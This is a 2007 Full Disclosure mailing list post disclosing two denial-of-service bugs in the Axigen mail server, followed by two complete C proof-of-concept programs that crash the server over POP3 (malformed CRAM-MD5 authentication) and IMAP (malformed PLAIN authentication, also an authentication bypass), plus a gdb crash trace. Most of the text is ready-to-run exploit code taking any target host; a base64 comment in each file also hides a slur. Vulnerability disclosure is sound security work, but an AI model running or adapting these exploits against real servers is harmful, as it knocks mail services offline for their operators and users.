Full Disclosure mailing list archives

Axigen <2.0.0b1 DoS


From: Neil Kettle <mu-b () 65535 com>
Date: Thu, 08 Feb 2007 14:47:41 +0000

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

attached are two DoS's used in part to win the beta testing
competition of  Axigen (www.axigen.com) mail server for versions
<2.0.0b1, the vulnerabilities affect all platforms..

The first exploit is a single byte underflow causing a probabilistic
integer overflow in a call to memcpy, it will require around 256
attempts before a reasonable probability of success is achieved.

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1231520864 (LWP 8621)]
0xb7d37473 in memmove () from /lib/libc.so.6
(gdb) bt
#0  0xb7d37473 in memmove () from /lib/libc.so.6
#1  0x080a6d02 in ?? ()
#2  0x080a7177 in ?? ()
#3  0x0825afff in ?? ()
#4  0x080a2e77 in ?? ()
#5  0x0834cf6f in ?? ()
#6  0x0834a591 in ?? ()
#7  0x0834611d in ?? ()
#8  0x08373563 in ?? ()
#9  0xb7eda294 in start_thread () from /lib/libpthread.so.0
#10 0xb7d8832e in clone () from /lib/libc.so.6
(gdb) i r
eax            0xffffffff       -1
ecx            0x3f92ce70       1066585712
edx            0xfffffff9       -7
ebx            0x0      0
esp            0xb69872a8       0xb69872a8
ebp            0xb69872d8       0xb69872d8
esi            0xbc9d000        197775360
edi            0xbc9cfff        197775359
eip            0xb7d37473       0xb7d37473 <memmove+35>
eflags         0x10212  [ AF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)


The second problem simply causes a NULL pointer dereference and will
work flawlessly..
-
---------------------------------------------------------------------------
Neil K
(mu-b () digit-labs org)
(mu-b () 65535 com)

  "Only a few people will follow the proof. Whoever does will
     spend the rest of his life convincing people it is correct."
        - Anonymous, "P ?= NP"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFyzgN+gf4mLMNJygRCHquAKCsdTkq4ZpcobnNOO1Il6AgbRouYgCfVkY2
5/4UqsuilwccN1ggvchDERU=
=+qy/
-----END PGP SIGNATURE-----
/* doaxigen.c
 *
 * axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
 * by mu-b - Sat Oct 22 2006
 *
 * - Tested on: AXIGEN 1.2.6 (lnx)
 *              AXIGEN 2.0.0b1 (lnx)
 *
 * 0x08088054: parsing error results in DoS (little-endian, confirmed)
 *                                      DoS + off-by-one heap smash (big-endian)
 *
 * Note: if you receive a SIGPIPE then you crashed the server
 *       but at too high a memory address... try again.
 */

/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define BUF_SIZE    1024
#define BBUF_SIZE   BUF_SIZE/3*4+1

#define AUTH_CMD    "AUTH CRAM-MD5\r\n"
#define QUIT_CMD    "QUIT\r\n"

#define DEF_PORT    110
#define PORT_POP3   DEF_PORT

#define RCNT_DELAY  3

static const char base64tab[] =
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);

static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
  int a, b, c;
  int i, j;
  int d, e, f, g;

  a = b = c = 0;
  for (j = i = 0; i < n; i += 3)
    {
      a = (u_char) ibuf[i];
      b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
      c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;

      d = base64tab[a >> 2];
      e = base64tab[((a & 3) << 4) | (b >> 4)];
      f = base64tab[((b & 15) << 2) | (c >> 6)];
      g = base64tab[c & 63];

      if (i + 1 >= n)
        f = '=';
      if (i + 2 >= n)
        g = '=';

      obuf[j++] = d, obuf[j++] = e;
      obuf[j++] = f, obuf[j++] = g;
    }

  obuf[j++] = '\0';

  return strlen (obuf);
}

static int
sock_send (int sock, u_char * src, int len)
{
  int sbytes;

  sbytes = send (sock, src, len, 0);

  return (sbytes);
}

static int
sock_recv (int sock, u_char * dst, int len)
{
  int rbytes;

  rbytes = recv (sock, dst, len, 0);
  if (rbytes >= 0)
    dst[rbytes] = '\0';

  return (rbytes);
}

static int
sockami (u_char * host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  fflush (stdout);
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    {
      perror ("connect()");
      exit (EXIT_FAILURE);
    }

  return (sock);
}

static void
zhammer (u_char * host)
{
  int sock, rbytes;
  u_int i;
  u_char *md5 = "\" d339490346794f964736669ae26e29df";  /* what was that? */
  u_char sbuf[BBUF_SIZE], *sptr;
  u_char rbuf[BUF_SIZE];

  fd_set r_fds;
  struct timeval tv;

  base64 (md5, sbuf, strlen (md5));
  sptr = sbuf + strlen (sbuf);
  *sptr++ = '\r', *sptr++ = '\n', *sptr = '\0';

  printf ("+Connecting to %s:%d.", host, PORT_POP3);
  sock = sockami (host, PORT_POP3);
  rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
  if (rbytes < 0)
    return;

  for (i = 0; i < -1; i++)
    {
      int rbytes;

      sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      sock_send (sock, sbuf, strlen (sbuf));

      FD_ZERO (&r_fds);
      FD_SET (sock, &r_fds);
      tv.tv_sec = 4;            /* wait 4 seconds */
      tv.tv_usec = 0;

      rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
      if (rbytes == -1)         /* oh dear */
        perror ("select()");
      else if (rbytes)          /* read response */
        rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      else                      /* timeout, server appears to have crashed!@$%! */
        break;

      /* hmmm, too many attempts, must re-connect... */
      if (strstr (rbuf, "(maximum number of protocol errors reached)"))
        {
          close (sock);
          sleep (RCNT_DELAY);

          printf ("\n+Reconnecting to %s:%d.", host, PORT_POP3);
          sock = sockami (host, PORT_POP3);
          rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
        }

      if (rbytes < 0)
        break;

      if (!((i + 1) % 4))
        printf ("..%d", i + 1);

      fflush (stdout);
      usleep (1000);
    }

  printf ("\n");
}

int
main (int argc, char **argv)
{
  printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
          "by: <mu-b () digit-labs org>, <mu-b () 65535 com>\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zhammer (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}
/* doaxigen-v2.c
 *
 * axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
 * by mu-b - Sun Oct 29 2006
 *
 * - Tested on: AXIGEN 1.2.6 (lnx)
 *              AXIGEN 2.0.0b1 (lnx)
 *
 * parsing error results in login without username & password!
 * which in turn causes a NULL pointer dereference..
 */

/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define BUF_SIZE    1024
#define BBUF_SIZE   BUF_SIZE/3*4+1

#define AUTH_CMD    "1 AUTHENTICATE PLAIN\r\n"
#define APPEND_CMD  "2 APPEND digit-labs\r\n"

#define DEF_PORT    143
#define PORT_IMAPD  DEF_PORT

#define RCNT_DELAY  3

static const char base64tab[] =
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);

static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
  int a, b, c;
  int i, j;
  int d, e, f, g;

  a = b = c = 0;
  for (j = i = 0; i < n; i += 3)
    {
      a = (u_char) ibuf[i];
      b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
      c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;

      d = base64tab[a >> 2];
      e = base64tab[((a & 3) << 4) | (b >> 4)];
      f = base64tab[((b & 15) << 2) | (c >> 6)];
      g = base64tab[c & 63];

      if (i + 1 >= n)
        f = '=';
      if (i + 2 >= n)
        g = '=';

      obuf[j++] = d, obuf[j++] = e;
      obuf[j++] = f, obuf[j++] = g;
    }

  obuf[j++] = '\0';

  return strlen (obuf);
}

static int
sock_send (int sock, u_char * src, int len)
{
  int sbytes;

  sbytes = send (sock, src, len, 0);

  return (sbytes);
}

static int
sock_recv (int sock, u_char * dst, int len)
{
  int rbytes;

  rbytes = recv (sock, dst, len, 0);
  if (rbytes >= 0)
    dst[rbytes] = '\0';

  return (rbytes);
}

static int
sockami (u_char * host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  fflush (stdout);
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    {
      perror ("connect()");
      exit (EXIT_FAILURE);
    }

  return (sock);
}

static void
zhammer (u_char * host)
{
  int sock;
  u_int i;
  u_char *md5 = "*\x00";  /* what was that? */
  u_char sbuf[BBUF_SIZE], *sptr;
  u_char rbuf[BUF_SIZE];

  fd_set r_fds;
  struct timeval tv;

  base64 (md5, sbuf, strlen (md5)+1);
  sptr = sbuf + strlen (sbuf);
  *sptr++ = '\r', *sptr++ = '\n', *sptr = '\0';

  for (i = 0; i < -1; i++)
    {
      int rbytes;

      printf ("+Connecting to %s:%d. ", host, PORT_IMAPD);
      sock = sockami (host, PORT_IMAPD);
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        return;

      sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      sock_send (sock, sbuf, strlen (sbuf));
      rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
      if (rbytes < 0)
        break;

      if (!strcmp (rbuf, "1 OK Done AUTHENTICATE"))
        {
          printf ("+Bah not vulnerable\n");
          exit (EXIT_SUCCESS);
        }

      sock_send (sock, APPEND_CMD, strlen (APPEND_CMD));

      FD_ZERO (&r_fds);
      FD_SET (sock, &r_fds);
      tv.tv_sec = 2;            /* wait 2 seconds */
      tv.tv_usec = 0;

      rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
      if (rbytes == -1)         /* oh dear */
        perror ("select()");
      else if (rbytes > 1)          /* read response */
        {
          printf ("+Bah not vulnerable %d\n", rbytes);
          exit (EXIT_SUCCESS);
        }

      /* timeout, server appears to have crashed!@$%! */

      printf ("Wh00t\n");
      fflush (stdout);
      sleep (RCNT_DELAY);
    }
}

int
main (int argc, char **argv)
{
  printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
          "by: <mu-b () digit-labs org>, <mu-b () 65535 com>\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zhammer (argv[1]);

  return (EXIT_SUCCESS);
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: